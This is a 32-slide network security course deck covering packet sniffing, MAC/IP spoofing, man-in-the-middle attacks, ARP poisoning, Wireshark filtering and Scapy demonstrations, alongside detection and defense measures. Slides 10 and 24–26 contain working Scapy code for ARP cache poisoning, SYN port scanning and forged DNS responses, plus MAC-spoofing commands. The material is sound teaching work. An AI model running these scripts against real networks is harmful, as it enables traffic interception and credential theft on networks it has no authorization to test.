1 of 32

NETWORK ATTACKS

& Security Analysis

Network Security Analysis & Practical Demonstrations

2 of 32

Course Overview & Topics

Key Topics Covered:

  • Packet Sniffing - Capturing network traffic analysis
  • MAC/IP Spoofing - Address forgery techniques
  • Man-in-the-Middle (MITM) Attacks - Interception methods
  • ARP Poisoning - ARP cache exploitation
  • Wireshark Demonstrations - Network protocol analyzer
  • Scapy Demonstrations - Python packet manipulation
  • Defense Mechanisms & Countermeasures

3 of 32

Network Layer Fundamentals

OSI Model Layers Involved:

  • Layer 2 (Data Link): MAC addresses, switches, ARP
  • Layer 3 (Network): IP addresses, routing, ICMP
  • Layer 4 (Transport): TCP, UDP, port numbers
  • Layer 7 (Application): HTTP, HTTPS, DNS, FTP

Key Protocols:

  • ARP (Address Resolution Protocol) - Maps IP to MAC
  • TCP/IP - Foundation of internet communication
  • Ethernet - Physical layer data transmission

4 of 32

Packet Sniffing - Introduction

Packet Sniffing: Capturing and analyzing network packets traveling over a network. Attacker places network interface in promiscuous mode to intercept all data frames, regardless of destination address.

How Sniffing Works:

  • 1. Network interface card (NIC) placed in promiscuous mode
  • 2. All packets on network segment captured, not just destined packets
  • 3. Packets analyzed for sensitive data, credentials, session tokens
  • 4. Data extracted and decrypted (if using unencrypted protocols)

5 of 32

Packet Sniffing - Vulnerable Protocols

Unencrypted Protocols at Risk:

HTTP - Web traffic (credentials in Authorization headers)

FTP - File transfer (username/password transmitted in plain text)

Telnet - Remote access (login credentials unencrypted)

POP3/IMAP - Email protocols (passwords exposed)

SMTP - Email sending (credentials and message content visible)

6 of 32

Packet Sniffing - Types & Techniques

Passive Sniffing:

  • Monitor traffic on shared networks (hubs, wireless)
  • No packet modification; attacker remains undetected
  • Effective on local networks and open WiFi

Active Sniffing:

  • Generate traffic to capture packets on switched networks
  • Techniques: MAC flooding, DHCP starvation, ARP spoofing
  • Higher risk of detection but more effective on modern networks

7 of 32

Packet Structure & Analysis

Typical Network Packet Layers:

Frame Header (L2)

Destination MAC | Source MAC | EtherType

IP Header (L3)

Source IP | Destination IP | Protocol | TTL

TCP/UDP Header (L4)

Source Port | Destination Port | Sequence Number

Application Data (L7)

HTTP headers, HTML, credentials, user data

Sensitive data often found in Application layer

8 of 32

MAC Address Spoofing - Introduction

What is MAC Spoofing?

  • Changing the MAC address of network interface to impersonate another device
  • MAC (Media Access Control) address is 48-bit identifier
  • First 24 bits: OUI (Organizationally Unique Identifier) - vendor
  • Last 24 bits: NIC-specific identifier assigned by manufacturer

Why Spoof MAC?

  • Bypass MAC filtering and access controls
  • Evade detection systems and logging
  • Impersonate legitimate devices on network

9 of 32

IP Address Spoofing - Introduction

What is IP Spoofing?

  • Forging the source IP address in packet header
  • Attacker sends packets with false source IP address
  • Easier than MAC spoofing; only requires packet crafting

Attack Scenarios:

  • DDoS Attacks - Flood victim with spoofed packets from many IPs
  • Session Hijacking - Predict sequence numbers and inject packets
  • Firewall Bypass - Appear to come from trusted internal IP
  • Limitations: Difficult to receive replies (response routing issue)

10 of 32

MAC/IP Spoofing - Implementation Techniques

MAC Spoofing Methods (Linux/macOS):

ifconfig eth0 hw ether 00:11:22:33:44:55 # Change MAC on interface

macchanger -m 00:11:22:33:44:55 eth0 # Using macchanger tool

ip link set dev eth0 address 00:11:22:33:44:55 # Using ip command

IP Spoofing with Packet Crafting (Scapy):

from scapy.all import IP, ICMP, send

packet = IP(dst="192.168.1.100", src="192.168.1.50")/ICMP()

send(packet) # Send forged ICMP packet

11 of 32

Man-in-the-Middle (MITM) Attacks

MITM Attack: Attacker intercepts communication between two parties, positioning themselves between victim and legitimate recipient. Attacker can eavesdrop, modify data, or inject malicious content.

MITM Attack Flow:

Victim

Client

Attacker

(MITM)

Legitimate

Server

Client → Attacker → Server (Attacker intercepts both directions)

MITM Capabilities:

  • Eavesdropping: Monitor all communication between parties
  • Data Modification: Alter data in transit before forwarding
  • Session Hijacking: Steal session tokens/cookies

12 of 32

MITM Attacks - Variants & Methods

ARP Spoofing/Poisoning:

  • Attacker sends false ARP replies to map target IP to attacker MAC
  • Traffic destined for gateway gets redirected to attacker

DNS Spoofing:

  • Attacker intercepts DNS queries and returns false IP addresses
  • Victims connect to attacker-controlled server instead of legitimate

SSL/TLS Hijacking:

  • Attacker presents forged certificates for HTTPS sites
  • HTTPS traffic can be decrypted if certificate is trusted

13 of 32

ARP Poisoning - Deep Dive

ARP Poisoning: Attacker sends gratuitous ARP replies mapping legitimate IP addresses to attacker's MAC address. Victim's ARP cache gets corrupted, redirecting traffic through attacker.

Normal ARP Resolution Process:

  • 1. Device needs MAC for IP address (e.g., gateway)
  • 2. Device broadcasts ARP request: 'Who has 192.168.1.1?'
  • 3. Gateway responds: 'I have 192.168.1.1, MAC is AA:BB:CC:DD:EE:FF'
  • 4. Requester caches mapping in ARP table for future use

ARP Poisoning Attack Flow:

  • Attacker floods network with false ARP replies claiming gateway IP belongs to attacker MAC → Traffic redirects to attacker → Attacker forwards to real gateway (transparent MITM)

14 of 32

ARP Poisoning - Advantages & Challenges

Why ARP Poisoning is Effective:

✓ No authentication: ARP accepts responses without verification

✓ Broadcast nature: Works on local network segment (Layer 2)

✓ Low visibility: ARP traffic considered normal; rarely logged

Challenges & Limitations:

  • Static ARP entries bypass poisoning
  • IDS systems can detect suspicious ARP patterns
  • Limited to local network segment (Layer 2)

15 of 32

Wireshark - Network Protocol Analyzer

What is Wireshark?

Free, open-source packet analysis tool for network troubleshooting, analysis, and security research. Captures live packets and displays them with detailed protocol breakdown.

Key Features:

  • Live packet capture on multiple interfaces
  • Detailed protocol dissection (100+ protocols)
  • Powerful filtering and search capabilities
  • Color-coded display based on traffic type
  • Export captured packets in various formats (PCAP, CSV, JSON)
  • VoIP call reconstruction
  • SSL/TLS encryption analysis (with keys)

16 of 32

Wireshark - Interface & Components

Main Window Sections:

  • Packet List Pane: Display captured packets with timestamp, source, destination
  • Packet Details Pane: Expand packet to see each protocol layer fields
  • Packet Bytes Pane: Hexadecimal and ASCII representation of raw packet data
  • Menu Bar: File, Edit, View, Go, Capture, Analyze, Tools, Statistics, Help
  • Toolbar: Quick access to common functions (Start, Stop, Restart capture)
  • Filter Bar: Apply display filters to show specific packet types
  • Status Bar: Shows capture duration, packets captured, bytes displayed

17 of 32

Wireshark - Packet Capture Process

Step-by-Step Capture Guide:

  • 1. Launch Wireshark (may require admin/root privileges)
  • 2. Select network interface to capture from (Capture → Interfaces)
  • 3. Click 'Start' button to begin packet capture
  • 4. Generate network traffic (browse web, ping, download files)
  • 5. Click 'Stop' button to end capture
  • 6. Captured packets appear in packet list pane
  • 7. Click on packet to see detailed breakdown in details pane
  • 8. Use filters to isolate specific traffic (ip.addr==192.168.1.100)

18 of 32

Wireshark - Display Filters & Expressions

Common Filter Expressions:

ip.addr == 192.168.1.100

Show all packets from/to specific IP

tcp.port == 80

Display HTTP traffic on port 80

dns

Show only DNS queries and responses

arp

Filter to show ARP packets only

http.request.method == GET

Display only HTTP GET requests

tcp.flags.syn == 1 && tcp.flags.ack == 0

Show TCP SYN packets (connection initiation)

frame contains password

Search for 'password' in packet payload

(ip.src == 192.168.1.100) && (tcp.port == 443)

Complex filter - specific IP on HTTPS port

19 of 32

Wireshark - Practical Demo: HTTP Analysis

Scenario: Analyzing unencrypted HTTP traffic for sensitive data

Demonstration Steps:

  • 1. Start Wireshark capture on ethernet interface
  • 2. Open browser and visit HTTP website (e.g., http://example.com)
  • 3. Stop capture and filter for HTTP traffic: http
  • 4. Expand HTTP packet details to view:

• GET request headers (User-Agent, Accept, Host)

• Request parameters in URL (may contain login credentials)

• HTTP response body (HTML, JavaScript, sensitive content)

  • 5. Follow TCP Stream: Right-click packet → Follow → TCP Stream

• View entire HTTP conversation in readable format

  • 6. Observe transmitted data without encryption (security risk!)

20 of 32

Wireshark - ARP Spoofing Detection Demo

Identifying ARP Poisoning Attacks:

  • Filter for ARP traffic: arp in Wireshark filter bar
  • Look for gratuitous ARP replies without corresponding requests
  • Detect ARP replies from unexpected source MAC addresses
  • Identify multiple ARP replies for same IP (ARP cache poisoning)

Suspicious Patterns to Watch:

  • Rapid ARP requests/replies between same pairs (flooding)
  • Different MAC addresses claiming same IP over short time
  • ARP packets from attacker interface before MITM engagement

21 of 32

Scapy - Packet Manipulation Framework

What is Scapy?

Python library for packet crafting, manipulation, and analysis. Allows creating custom packets at any OSI layer and sending them over network. Used for network testing, scanning, and security research.

Advantages over Wireshark:

  • Programmatic packet creation - automate complex attack scenarios
  • Layer stacking - easily combine multiple protocol layers
  • Packet manipulation - modify fields, checksums, payloads
  • Raw socket access - send packets with custom values
  • Protocol fuzzing - test network devices with malformed packets
  • Interactive shell - real-time packet crafting and testing

22 of 32

Scapy - Installation & Basics

Installation:

pip install scapy

Basic Scapy Concepts:

Packet = Protocol layers stacked with / operator

Example: packet = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)

send() - transmit packet, sr() - send and receive response

show() - display packet fields, hexdump() - display hex representation

23 of 32

Scapy Demo 1: Custom ICMP Ping (Traceroute)

Scenario: Create custom ICMP echo request with modified TTL

from scapy.all import IP, ICMP, send, sr1

# Create ICMP packet with TTL=1 (will be sent to first hop)

packet = IP(dst="8.8.8.8", ttl=1) / ICMP()

response = sr1(packet, timeout=2)

if response:

print(f"Got response from {response.src}")

print(f"TTL: {response.ttl}")

else:

print("No response")

# Send multiple pings with increasing TTL to trace route

for ttl in range(1, 9):

packet = IP(dst="8.8.8.8", ttl=ttl) / ICMP()

response = sr1(packet, timeout=1, verbose=False)

if response:

print(f"TTL {ttl}: Response from {response.src}")

else:

print(f"TTL {ttl}: Timeout")

24 of 32

Scapy Demo 2: ARP Spoofing (MITM Setup)

WARNING: Educational only. Requires authorization.

from scapy.all import ARP, Ether, sendp, get_if_hwaddr

import time

def arp_spoof(target_ip, spoof_ip, target_mac, interface):

# Create ARP packet: Tell target that spoof_ip is at attacker MAC

packet = Ether(dst=target_mac) / ARP(

op="is-at",

pdst=target_ip,

psrc=spoof_ip,

hwdst=target_mac

)

# Send continuously to maintain poisoning

while True:

sendp(packet, iface=interface, verbose=False)

time.sleep(1)

# Example: Poison ARP cache of 192.168.1.100

# Make it think gateway (192.168.1.1) is at attacker MAC

target_ip = "192.168.1.100"

gateway_ip = "192.168.1.1"

target_mac = "AA:BB:CC:DD:EE:FF" # Get via ARP lookup

my_mac = get_if_hwaddr("eth0")

# arp_spoof(target_ip, gateway_ip, target_mac, "eth0")

25 of 32

Scapy Demo 3: TCP Port Scanning

from scapy.all import IP, TCP, sr1

def syn_scan(target_host, port):

# Create SYN packet to target host

packet = IP(dst=target_host) / TCP(dport=port, flags="S")

# Send and receive response with timeout

response = sr1(packet, timeout=1, verbose=False)

if response is None:

return "Filtered/No response"

elif response.haslayer(TCP):

if response[TCP].flags == 0x12: # SYN-ACK flags

return "Open (SYN-ACK received)"

elif response[TCP].flags == 0x14: # RST-ACK flags

return "Closed (RST-ACK received)"

return "Unknown"

# Scan common ports

target = "192.168.1.100"

common_ports = [22, 80, 443, 3306, 5432]

for port in common_ports:

status = syn_scan(target, port)

print(f"Port {port}: {status}")

26 of 32

Scapy Demo 4: DNS Query & Response Crafting

from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send

# Create DNS query for google.com

query_packet = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(

rd=1,

qd=DNSQR(qname="google.com", qtype="A")

)

# Craft spoofed DNS response (for MITM attack)

def create_dns_response(src_ip, dst_ip, domain, spoofed_ip):

packet = IP(src=src_ip, dst=dst_ip) / UDP(sport=53, dport=53) / DNS(

op="Response",

aa=1, # Authoritative answer

qd=DNSQR(qname=domain, qtype="A"),

an=DNSRR(rrname=domain, type="A", rdata=spoofed_ip)

)

return packet

# Create response claiming google.com is 192.168.1.100

spoofed_response = create_dns_response(

src_ip="8.8.8.8", # Forged source (looks like Google DNS)

dst_ip="192.168.1.50", # Target victim

domain="google.com",

spoofed_ip="192.168.1.100" # Malicious IP

)

# send(spoofed_response) # Would redirect victim's traffic

27 of 32

Detection & Defense Mechanisms

Against Packet Sniffing:

  • Use encrypted protocols: HTTPS, SSH, VPN for sensitive traffic
  • Deploy network switches instead of hubs (unicast vs broadcast)
  • Implement SSL/TLS pinning in applications

Against MITM Attacks:

  • Verify certificate validity (check certificate authority)
  • Use mutual TLS authentication (mTLS)
  • Enable HSTS (HTTP Strict Transport Security)

Against ARP Poisoning:

  • Static ARP table entries for critical gateways/servers

28 of 32

Defense Mechanisms - Continued

ARP Inspection (DAI) - Dynamic ARP Inspection

  • Switch validates ARP packets before forwarding
  • Discards suspicious ARP requests/replies
  • Requires DHCP snooping for IP-MAC binding database

IDS/IPS Solutions (Intrusion Detection/Prevention)

  • Monitor network for suspicious ARP/ICMP patterns
  • Tools: Suricata, Zeek, Snort detect protocol anomalies

VPN & Network Segmentation:

  • Isolate sensitive systems on separate VLANs
  • VPN encryption protects against local sniffing attacks

29 of 32

Security Best Practices & Hardening

Network Level:

🔒 Enable port security on switches (limit MAC addresses per port)

🔒 Implement 802.1X authentication (network access control)

🔒 Deploy DNSSEC to protect against DNS spoofing

Host Level:

🔒 Disable promiscuous mode on network interfaces

🔒 Use host-based firewall and IDS (Snort, Suricata)

🔒 Regularly patch and update network drivers

30 of 32

Security Testing Tools & Resources

Network Analysis:

  • Wireshark - Packet capture and protocol analysis
  • tcpdump - Command-line packet capture tool

Packet Manipulation:

  • Scapy - Python packet crafting framework
  • hping3 - Custom TCP/UDP/ICMP packet generator

Attack Tools:

  • arpspoof - ARP poisoning (Dsniff suite)
  • mitmproxy - HTTPS proxy for intercepting traffic
  • Bettercap - Network attack framework

31 of 32

Hands-On Lab Exercise

Lab 1: Packet Capture & Analysis with Wireshark

  • 1. Capture live traffic on your network interface
  • 2. Filter for HTTP traffic and identify unencrypted data
  • 3. Expand packet details to view HTTP headers
  • 4. Use 'Follow TCP Stream' to see complete conversation
  • 5. Identify any sensitive information transmitted
  • 6. Compare with HTTPS traffic (encrypted)

Lab 2: Packet Crafting with Scapy

  • 1. Create custom ICMP ping packets with Scapy
  • 2. Craft TCP SYN packets to scan open ports
  • 3. Verify responses indicate open/closed/filtered ports
  • 4. Create DNS query and capture response
  • 5. Compare packet structure in Wireshark

32 of 32

Key Takeaways

  • Packet sniffing captures unencrypted data on networks
  • MAC/IP spoofing allows impersonation of legitimate devices
  • MITM attacks intercept and manipulate communication
  • ARP poisoning exploits lack of ARP authentication
  • Wireshark: visualization and analysis of network traffic
  • Scapy: programmatic packet creation and manipulation
  • Defense requires encryption, authentication, and monitoring
  • Always obtain authorization before security testing

Remember: Ethical Hacking Requires Authorization!